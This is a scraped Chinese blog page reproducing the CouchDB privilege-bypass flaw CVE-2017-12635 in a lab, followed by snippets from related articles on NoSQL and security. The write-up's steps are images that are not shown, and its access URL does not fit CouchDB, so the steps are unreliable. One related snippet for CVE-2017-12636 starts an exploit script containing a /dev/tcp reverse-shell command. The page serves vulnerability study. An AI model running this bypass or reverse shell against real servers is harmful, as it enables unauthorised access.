黄公子学安全
黄公子学安全

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

一、漏洞描述

Apache CouchDB是一个开源数据库，专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。
在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12636是一个任意命令执行漏洞，我们可以通过config api修改couchdb的配置query_server，这个配置项在设计、执行view的时候将被运行。
影响版本：小于 1.7.0 以及 小于 2.1.1

二、环境搭建

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)_第1张图片

三、访问

http://127.0.0.1:8500/flex2gateway/amf

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)_第2张图片

四、挂代理抓包

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)_第3张图片

发送，报错，表明只有管理员才能改

五、绕过

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)_第4张图片

六、​用修改后的账号密码登录系统正常玩耍。

账号：vulhub

密码：password

你可能感兴趣的:(couchdb)

  • redis搭建 就是这么任性_ac9c
    RedisMongoDBNoSQL•NoSQL(NoSQL=NotOnlySQL)–意思是"不仅仅是SQL“–泛指非关系型数据库–不需要预先定义数据存储结构–表的每条记录都可以有不同的类型和结构NoSQL服务软件•主流软件–Redis–MongoDB–Memcached–CouchDB–Neo4j–FlockDBRedis特点:–支持数据持久化,可以把内存里数据保存到硬盘中–不仅仅支持key/va
  • Python爬虫之非关系型数据库存储#5 仲君Johnny python爬虫逆向教程python爬虫nosql数据库网络爬虫
    NoSQL，全称NotOnlySQL，意为不仅仅是SQL，泛指非关系型数据库。NoSQL是基于键值对的，而且不需要经过SQL层的解析，数据之间没有耦合性，性能非常高。非关系型数据库又可细分如下。键值存储数据库：代表有Redis、Voldemort和OracleBDB等。列存储数据库：代表有Cassandra、HBase和Riak等。文档型数据库：代表有CouchDB和MongoDB等。图形数据库：
  • 几种开源NOSQL数据库 weixin_30276935 java
    几种开源NOSQL数据库2017年06月30日23:36:13lm_y阅读数13655更多分类专栏：javaNoSQL数据库一天天变得越来越流行。以下是最好的，免费，开源NoSQL数据库的一个列表。其中MongoDB是这些开源NoSQL数据库中最好的。这个列表包括：MongoDB,Cassandra,CouchDB,Hypertable,Redis,Riak,Neo4j,HBASE,Couchba
  • Hyperledger Fabric部署的坑(更新中) 枕溪研书
    1.镜像需与fabric版本一致fabric运行所需要的镜像一共是12种可以通过输入dockerimages查看你已下载的镜像。如果发现有少的镜像则用下述语句下载，每条语句对应下载每一个镜像，请根据所缺失的镜像选择语句并执行：dockerpullhyperledger/fabric-tools:x86_64-1.0.0dockerpullhyperledger/fabric-couchdb:x86
  • 对比主流NoSQL数据库特性与应用场景 weixin_30732825 数据库javashell
    与关系型数据库RDBMS的大厂商垄断不同，NoSQL在发展之初就可谓是百家争鸣、百花齐放，无论目前如日中天的MongoDB，还是刚刚发布最新版本的Redis;无论是面向文本的CouchDB，还是基于KV的Cassandra，都有着各自的特点和应用场景。而作为传统SQL数据库的良好补充，DBA有必要了解这些主流NoSQL数据库的各自特点。在本文中，我们就将对比一下主流NoSQL数据库，包括了Cass
  • 网络安全全栈培训笔记（56-服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现） 清歌secure 网络安全全栈学习笔记web安全笔记elasticsearch
    第56天服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现知识点：1、服务攻防数据库类型安全2、influxdb,.未授权访问wt验证3、H2database-未授权访问-配置不当4、CouchDB-权限绕过配合RCE-漏洞5、ElasticSearch-文件写入&RCE-漏洞#章节内容：常见服务应用的安全测试：1、配置不当-未授权访问2、安全机制特定安全
  • 二十几种未授权访问漏洞合集 廾匸0705 网络安全漏洞网络安全漏洞
    未授权访问漏洞是一个在企业内部非常常见的问题，这种问题通常都是由于安全配置不当、认证页面存在缺陷，或者压根就没有认证导致的。当某企业对外的服务端口、功能无限制开放，并且对用户的访问没有做任何限制的时候，可能会泄露出某些用户信息、敏感信息甚至可以执行系统命令，操作系统文件，导致系统的整体安全遭到破坏。1.未授权漏洞预览ActiveMQ未授权访问AtlassianCrowd未授权访问CouchDB未授
  • 【hyperledger-fabric】使用couchDB 兜里旺仔没加糖 fabriccouchdb运维
    简介本文章主要参考来自于官方文档使用CouchDB以及https://www.bilibili.com/video/BV1Li4y1f7ex/?spm_id_from=pageDriver&vd_source=2c5f2831e1c63d3a20045b167ae044e6B站视频，还是非常感谢up主提供了学习的思路。为什么要使用couchDB？原文：Fabric支持两种类型的节点状态数据库。Le
  • Hyperledger Fabric 入门笔记（七）Fabric V2.4 测试网络进阶之链码使用 荆棘鸟骑士 HyperledgerFabricfabric区块链
    文章目录前言一、使用CouchDB1.1.用例说明1.2.索引1.3.准备工作1.4.CouchDBFauxton接口1.5.运行用例1.5.1.选择器1.5.2.分页1.5.3.历史记录二、使用私有数据2.1.用例说明2.2.私有数据集合2.2.1.集合定义文件2.2.2.私有数据的索引2.3.准备工作2.4.注册身份2.5.运行用例2.5.1.创建私有数据2.5.2.查询私有数据2.5.2.1
  • 非关系型数据库 鬼谷子001
    分类：键值型【key-value】（代表数据库软件：redis、riak）文档型【document】(代表数据库软件：mongodb,couchdb)列存储【bigtables】（代表数据库软件：hbase、cassandra）图形【graph】(代表数据库：neo4j、graphdb)
  • Couchdb 垂直权限绕过漏洞(CVE-2017-12635) 黄公子学安全 couchdb
    一、漏洞描述ApacheCouchDB是一个开源数据库，专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，CreditSuisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。在2017年11月15日，
  • Couchdb 任意命令执行漏洞(CVE-2017-12636) 黄公子学安全 安全couchdb网络
    一、环境搭建二、访问三、构造payload#!/usr/bin/envpython3importrequestsimportjsonimportbase64fromrequests.authimportHTTPBasicAuthtarget='http://192.168.217.128:5984'#目标ipcommand=rb"""sh-i>&/dev/tcp/192.168.217.128/5
  • 关于npm login出现403问题报错解决，发布npm包遇到的报错： ERR! 403 Forbidden， Are you logged in as the correct user 前端小超人rui 日常报错npm前端javascript
    npmlogin时报错npmERR!codeE403npmERR!403403Forbidden-PUThttps://registry.npmmirror.com/-/user/org.couchdb.user:name-[FORBIDDEN]PublicregistrationisnotallowednpmERR!403Inmostcases,youoroneofyourdependencie
  • Apache CouchDB 垂直权限绕过漏洞 CVE-2017-12635 已亲自复现 Bolgzhang apache漏洞合集-亲测apachecouchdb
    ApacheCouchDB垂直权限绕过漏洞CVE-2017-12635已亲自复现漏洞名称影响版本影响版本漏洞复现环境搭建漏洞利用总结漏洞名称影响版本ApacheCouchDB是一个开源的NoSQL数据库，专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式，javascript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。在2017年11月1
  • NPM在NodeJS开发中的重要角色 风神白桃 npm
    NPM（NodePackageManager）是NodeJS的一个非常重要的包管理工具，它可以方便地管理Node包的安装、卸载、更新、查看、搜索、发布等功能，它主要基于couchdb的数据库，通过该数据库，它记录了每个包的详细信息，这些信息包括包的作者、版本、依赖、授权信息等。使用NPM，我们可以从繁琐的包管理工作中解放出来，从而更加专注于功能的开发，大大提高了开发效率。安装NPM环境后，用户可以
  • 一文读懂MongoDB的全部知识点(1)，惊呆面试官。 普修罗双战士 缓存专栏Redis专栏mongodb数据库面试职场和发展缓存javaintellijidea
    文章目录01、mongodb是什么？02、mongodb有哪些特点？03、你说的NoSQL数据库是什么意思？NoSQL与RDBMS直接有什么区别？为什么要使用和不使用NoSQL数据库？说一说NoSQL数据库的几个优点?04、NoSQL数据库有哪些类型?05、MySQL与MongoDB之间最基本的差别是什么?06、你怎么比较MongoDB、CouchDB及CouchBase?07、MongoDB成为
  • Couchdb 命令执行漏洞复现 （CVE-2017-12636） 梧六柒 网络安全网络安全
    Couchdb命令执行漏洞复现（CVE-2017-12636）1、下载couchdb.py2、修改目标和反弹地址3、Python3调用执行即可couchdb.py文件下载地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py‍在VULFocus上开启环境修改couchdb.py文件配置然后在攻击机上
  • [Ionic 2从入门到精通] 7.6 本地和远程PouchDB和Cloudant后台 老牛啃码
    虽然我们完成了应用的大部分功能，但是本节课将是最大最难的那个。我们将使用PouchDB来存储信息而不是直接将他扔到信息数组里面去。PouchDB是一个浏览器内的NoSQL数据库，灵感来自CouchDB项目。他最大的功能是允许存储离线数据，当应用再次上线之后会自动从远程数据库同步数据。和使用Ionic提供的SqlStorage一样，使用PouchDB保证你存储的本地数据不会被随机擦除。普及NoSQL
  • Couchdb 权限绕过漏洞复现（CVE-2017-12635） 梧六柒 网络安全网络安全
    Couchdb权限绕过漏洞复现（CVE-2017-12635）开启环境给了三个端口号，不知道哪个是正常的，最后试出来52226端口正常。登录URL：http://192.168.91.129/_utils/#来到了登录页面用postman发送PUT方法的请求包，这个请求包会导致数据库创建一个用户，在这会把xrzx这个用户创建出来并且加入到admin管理员组里面去然后再回到登录页面，输入刚才创建的账
  • 初识Redis 啵啵虎的抽抽 Redisredis数据库缓存
    认识NoSQL概念SQL数据库，指关系型数据库。主要有：SQLServer，Oracle，MySQL，PostgreSQL。NoSQL泛指非关系型数据库。主要有：MongoDB，Redis，CouchDB。SQL优缺点及使用场景优点1、标准化模式。虽然SQL数据库的标准化模式使它们变得僵硬且难以修改，但它确实具有一些优势。添加到数据库的所有数据都必须符合众所周知的由行和列组成的链接表模式。有些人可
  • 关系型数据库与非关系型数据库的详细对比和说明 CharsonYang 数据库专栏mongodbredismysqlnosql
    关系型数据库：OracleSQLServerSybaseInformixAccessDB2mysqlvfpIngersFoxPro非关系型数据库：MongoDBCassandraCouchDBHypertableRedisRiakNeo4jHadoopHBaseCouchbaseMemcacheDBREVENDBVoldemort关系型数据库与非关系型数据库的对比关系型数据库：关系型数据库的优势：
  • 数据的存储--MongoDB文档存储 Bruce_Liuxiaowei 总结经验笔记pythonmongodb
    MongoDB文档存储NoSQL，全称为NotOnlySQL，意为不仅仅是SQL，泛指非关系型数据库。NoSQL是基于键值对的，而且不需要经过SQL层的解析，数据之间没有耦合性，性能非常高。非关系行数据库又可细分如下。键值存储数据库：代表有Redis、Voldemort和OracleBDB等。列存储数据库：代表有Cassandra、HBase和Riak等。文档型数据库：代表有CouchDB和Mon
  • 非关系型数据库Redis yucan1234 面视redis
    非关系型数据库（NoSQL）用于指代那些非关系型的，分布式的，且一般不保证遵循ACID原则的数据存储系统注：数据库事务必须具备ACID特性，ACID是Atomic原子性，Consistency一致性，Isolation隔离性，Durability持久性。非关系型数据库种类：1、文档型（MongDB，CouchDB）2、key-value型（Redis，Voldemort，OracleBDB）3、列
  • MySQL数据库 卷心菜007 数据库数据库mysql
    一.数据库概念1.数据库类型关系数据库：MySQL，Oracle非关系数据库：NoSQL，MongoDB，CouchDB2.数据库模型对象模型层次模型（轻量级数据访问协议）网状模型（大型数据存储）关系模型面向对象模型半结构化模型平面模型（表格模型，一般形式上是一个二维数组，如表格型数据Excel）3.数据库架构大致区分为三个概括层次：内层，概念层和外层。内层：最接近实际存储体，有关数据的实际存储关
  • 数据库基础 AnotherMoon_ 数据库
    数据库基础数据库分类关系型数据库---->MySQL、SqlServer、Oracle、DB2、Access、PostgreSQL、SqLite、OceanBase、GaussDB、TDSQL、DM非关系型数据库---->Redis、Mongodb、CouchDB、Couchbase、HBase、Neo4j、db4o、BaseX、IMS基本术语数据库:数据库是一些关联表的集合。数据表:表是数据的矩
  • 常用NoSQL数据库的特点 ImWalkerKun 数据库数据库NoSQL
    存储类型代表解决方案特点列存储Hbase,Cassandra,Hypertable按列存储，适用于数据压缩，对一个或几个字段进行查询的效率高文档存储MongoDB，CouchDB，riak保证海量数据存储的同时，具有良好的查询性能。用类JSON格式进行存储key_value存储Dynamo，Leveldb，Redis，TokyoCabinet，MemcacheDB具有极高的并发读写性能。通过key
  • 了解一个百万级 PHP 社交网站的架构 ditongchang6436 memcached大数据运维
    Poppen.de是德国的一个社交网站，相对Facebook、Flickr来说是一个很小的网站，但它有一个很好的架构，融合了很多技术，如Nigix、MySql、CouchDB、Erlang、Memcached、RabbitMQ、PHP、Graphite、Red5以及Tsung。Poppen.de目前有200万注册用户数、2万并发用户数、每天20万条私有消息、每天25万登录次数。而项目团队有11个开
  • 数据库安全-H2 database&Elasticsearch&CouchDB&Influxdb漏洞复现 rumilc Web安全漏洞复现数据库elasticsearchcouchdb网络安全web安全
    目录数据库安全-H2database&Elasticsearch&CouchDB&Influxdb复现influxdb-未授权访问-jwt验证H2database-未授权访问-配置不当CouchDB-权限绕过配合RCE-漏洞CouchDB垂直权限绕过Couchdb任意命令执行RCEElasticSearch-文件写入&RCE-漏洞Elasticsearch写入webshell漏洞ElasticSe
  • Redis学习1 肥学 redisredis学习数据库
    NOSql型数据库NoSQL（NotOnlySQL）是一种数据库管理系统的范畴，它不使用传统的关系型数据库管理系统（RDBMS）模型。相对于传统的关系型数据库，NoSQL数据库在数据存储和检索方面提供了更多的灵活性和可伸缩性，通常适用于不同类型的应用场景。以下是一些常见的NoSQL数据库类型和其特点：文档数据库（DocumentDatabase）：代表：MongoDB、CouchDB特点：数据以文
  • 26Hbase介绍及其数据模型和架构（hbase学习1） 文茶君
    Hbase介绍Hadoop生态系统spark已经替代mahouthbase简介：非关系型数据库知识面扩展cassandra、hbase、mongodb（文档型数据库）、rediscouchdb，文件存储数据库Neo4j非关系型图数据库HbaseHadoopDatabase，是一个高可靠性、高性能、面向列（面向列的KV数据库）、可伸缩（动态扩展机器。不需要停服务）、实时读写的分布式数据库利用Hado
  • springmvc 下 freemarker页面枚举的遍历输出 杨白白 enumfreemarker
    spring mvc freemarker 中遍历枚举 1枚举类型有一个本地方法叫values（），这个方法可以直接返回枚举数组。所以可以利用这个遍历。 enum public enum BooleanEnum { TRUE(Boolean.TRUE, "是"), FALSE(Boolean.FALSE, "否");
  • 实习简要总结 byalias 工作
    来白虹不知不觉中已经一个多月了，因为项目还在需求分析及项目架构阶段，自己在这段 时间都是在学习相关技术知识，现在对这段时间的工作及学习情况做一个总结： （1）工作技能方面 大体分为两个阶段，Java Web 基础阶段和Java EE阶段 1）Java Web阶段 在这个阶段，自己主要着重学习了 JSP, Servlet, JDBC, MySQL，这些知识的核心点都过 了一遍，也
  • Quartz——DateIntervalTrigger触发器 eksliang quartz
    转载请出自出处：http://eksliang.iteye.com/blog/2208559 一.概述 simpleTrigger 内部实现机制是通过计算间隔时间来计算下次的执行时间，这就导致他有不适合调度的定时任务。例如我们想每天的 1：00AM 执行任务，如果使用 SimpleTrigger，间隔时间就是一天。注意这里就会有一个问题，即当有 misfired 的任务并且恢复执行时，该执行时间
  • Unix快捷键 18289753290 unixUnix；快捷键;
    复制，删除，粘贴： dd:删除光标所在的行                             &nbs
  • 获取Android设备屏幕的相关参数 酷的飞上天空 android
    包含屏幕的分辨率  以及 屏幕宽度的最大dp 高度最大dp   TextView text = (TextView)findViewById(R.id.text); DisplayMetrics dm = new DisplayMetrics(); text.append("getResources().ge
  • 要做物联网？先保护好你的数据 蓝儿唯美 数据
    根据Beecham Research的说法，那些在行业中希望利用物联网的关键领域需要提供更好的安全性。 在Beecham的物联网安全威胁图谱上，展示了那些可能产生内外部攻击并且需要通过快速发展的物联网行业加以解决的关键领域。 Beecham Research的技术主管Jon Howes说：“之所以我们目前还没有看到与物联网相关的严重安全事件，是因为目前还没有在大型客户和企业应用中进行部署，也就
  • Java取模（求余）运算 随便小屋 java
            整数之间的取模求余运算很好求，但几乎没有遇到过对负数进行取模求余，直接看下面代码： /** * * @author Logic * */ public class Test { public static void main(String[] args) { // TODO A
  • SQL注入介绍 aijuans sql注入
    二、SQL注入范例 这里我们根据用户登录页面 <form action="" > 用户名：<input type="text" name="username"><br/> 密 码：<input type="password" name="passwor
  • 优雅代码风格 aoyouzi 代码
    总结了几点关于优雅代码风格的描述： 代码简单：不隐藏设计者的意图，抽象干净利落，控制语句直截了当。 接口清晰：类型接口表现力直白，字面表达含义，API 相互呼应以增强可测试性。 依赖项少：依赖关系越少越好，依赖少证明内聚程度高，低耦合利于自动测试，便于重构。 没有重复：重复代码意味着某些概念或想法没有在代码中良好的体现，及时重构消除重复。 战术分层：代码分层清晰，隔离明确，
  • 布尔数组 百合不是茶 java布尔数组
      androi中提到了布尔数组;   布尔数组默认的是false,  并且只会打印false或者是true   布尔数组的例子;  根据字符数组创建布尔数组 char[] c = {'p','u','b','l','i','c'}; //根据字符数组的长度创建布尔数组的个数 boolean[] b = new bool
  • web.xml之welcome-file-list、error-page bijian1013 javaweb.xmlservleterror-page
    welcome-file-list 1.定义： <welcome-file-list> <welcome-file>login.jsp</welcome> </welcome-file-list>  2.作用：用来指定WEB应用首页名称。   error-page1.定义： <error-page&g
  • richfaces 4 fileUpload组件删除上传的文件 sunjing clearRichfaces 4fileupload
     页面代码               <h:form id="fileForm">            <rich:
  • 技术文章备忘 bit1129 技术文章
    Zookeeper http://wenku.baidu.com/view/bab171ffaef8941ea76e05b8.html http://wenku.baidu.com/link?url=8thAIwFTnPh2KL2b0p1V7XSgmF9ZEFgw4V_MkIpA9j8BX2rDQMPgK5l3wcs9oBTxeekOnm5P3BK8c6K2DWynq9nfUCkRlTt9uV
  • org.hibernate.hql.ast.QuerySyntaxException: unexpected token: on near line 1解决方案 白糖_ Hibernate
    文章摘自：http://blog.csdn.net/yangwawa19870921/article/details/7553181   在编写HQL时，可能会出现这种代码： select a.name,b.age from TableA a left join TableB b on a.id=b.id  如果这是HQL，那么这段代码就是错误的，因为HQL不支持
  • sqlserver按照字段内容进行排序 bozch 按照内容排序
    在做项目的时候，遇到了这样的一个需求：           从数据库中取出的数据集，首先要将某个数据或者多个数据按照地段内容放到前面显示，例如:从学生表中取出姓李的放到数据集的前面；          select * fro
  • 编程珠玑-第一章-位图排序 bylijinnan java编程珠玑
    import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.io.Writer; import java.util.Random; public class BitMapSearch {
  • Java关于==和equals chenbowen00 java
    关于==和equals概念其实很简单，一个是比较内存地址是否相同，一个比较的是值内容是否相同。虽然理解上不难，但是有时存在一些理解误区，如下情况： 1、 String a = "aaa"; a=="aaa"; ==> true 2、 new String("aaa")==new String("aaa
  • [IT与资本]软件行业需对外界投资热情保持警惕 comsci it
          我还是那个看法,软件行业需要增强内生动力,尽量依靠自有资金和营业收入来进行经营,避免在资本市场上经受各种不同类型的风险,为企业自主研发核心技术和产品提供稳定,温和的外部环境...       如果我们在自己尚未掌握核心技术之前,企图依靠上市来筹集资金,然后使劲往某个领域砸钱,然
  • oracle 数据块结构 daizj oracle块数据块块结构行目录
    oracle 数据块是数据库存储的最小单位，一般为操作系统块的N倍。其结构为： 块头－－〉空行－－〉数据，其实际为纵行结构。 块的标准大小由初始化参数DB_BLOCK_SIZE指定。具有标准大小的块称为标准块（Standard Block）。块的大小和标准块的大小不同的块叫非标准块（Nonstandard Block）。同一数据库中，Oracle9i及以上版本支持同一数据库中同时使用标
  • github上一些觉得对自己工作有用的项目收集 dengkane github
    github上一些觉得对自己工作有用的项目收集 技能类 markdown语法中文说明 回到顶部 全文检索 elasticsearch bigdesk elasticsearch管理插件 回到顶部 nosql mapdb 支持亿级别map, list, 支持事务. 可考虑做为缓存使用 C
  • 初二上学期难记单词二 dcj3sjt126com englishword
    dangerous 危险的 panda 熊猫 lion 狮子 elephant 象 monkey 猴子 tiger 老虎 deer 鹿 snake 蛇 rabbit 兔子 duck 鸭 horse 马 forest 森林 fall 跌倒；落下 climb 爬；攀登 finish 完成；结束 cinema 电影院；电影 seafood 海鲜；海产食品 bank 银行
  • 8、mysql外键(FOREIGN KEY)的简单使用 dcj3sjt126com mysql
    一、基本概念 1、MySQL中“键”和“索引”的定义相同，所以外键和主键一样也是索引的一种。不同的是MySQL会自动为所有表的主键进行索引，但是外键字段必须由用户进行明确的索引。用于外键关系的字段必须在所有的参照表中进行明确地索引，InnoDB不能自动地创建索引。 2、外键可以是一对一的，一个表的记录只能与另一个表的一条记录连接，或者是一对多的，一个表的记录与另一个表的多条记录连接。 3、如
  • java循环标签 Foreach shuizhaosi888 标签java循环foreach
    1. 简单的for循环 public static void main(String[] args) { for (int i = 1, y = i + 10; i < 5 && y < 12; i++, y = i * 2) { System.err.println("i=" + i + " y="
  • Spring Security（05）——异常信息本地化 234390216 exceptionSpring Security异常信息本地化
    异常信息本地化          Spring Security支持将展现给终端用户看的异常信息本地化，这些信息包括认证失败、访问被拒绝等。而对于展现给开发者看的异常信息和日志信息（如配置错误）则是不能够进行本地化的，它们是以英文硬编码在Spring Security的代码中的。在Spring-Security-core-x
  • DUBBO架构服务端告警Failed to send message Response javamingtingzhao 架构DUBBO
     废话不多说，警告日志如下，不知道有哪位遇到过，此异常在服务端抛出(服务器启动第一次运行会有这个警告)，后续运行没问题，找了好久真心不知道哪里错了。    WARN 2015-07-18 22:31:15,272 com.alibaba.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(84)
  • JS中Date对象中几个用法 leeqq JavaScriptDate最后一天
    近来工作中遇到这样的两个需求 1. 给个Date对象，找出该时间所在月的第一天和最后一天 2. 给个Date对象，找出该时间所在周的第一天和最后一天   需求1中的找月第一天很简单，我记得api中有setDate方法可以使用 使用setDate方法前，先看看getDate var date = new Date(); console.log(date); // Sat J
  • MFC中使用ado技术操作数据库 你不认识的休道人 sqlmfc
    1.在stdafx.h中导入ado动态链接库 #import"C:\Program Files\Common Files\System\ado\msado15.dll" no_namespace rename("EOF","end")2.在CTestApp文件的InitInstance()函数中domodal之前写::CoIniti
  • Android Studio加速 rensanning android studio
    Android Studio慢、吃内存！启动时后会立即通过Gradle来sync & build工程。 （1）设置Android Studio a) 禁用插件 File -> Settings...  Plugins 去掉一些没有用的插件。 比如：Git Integration、GitHub、Google Cloud Testing、Google Cloud
  • 各数据库的批量Update操作 tomcat_oracle javaoraclesqlmysqlsqlite
    MyBatis的update元素的用法与insert元素基本相同，因此本篇不打算重复了。本篇仅记录批量update操作的 sql语句，懂得SQL语句，那么MyBatis部分的操作就简单了。 　　注意：下列批量更新语句都是作为一个事务整体执行，要不全部成功，要不全部回滚。 MSSQL的SQL语句 　WITH R AS（ 　　SELECT 'John' as name, 18 as
  • html禁止清除input文本输入缓存 xp9802 input
    多数浏览器默认会缓存input的值，只有使用ctl+F5强制刷新的才可以清除缓存记录。如果不想让浏览器缓存input的值，有2种方法： 方法一： 在不想使用缓存的input中添加 autocomplete="off"; eg: <input type="text" autocomplete="off" name
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他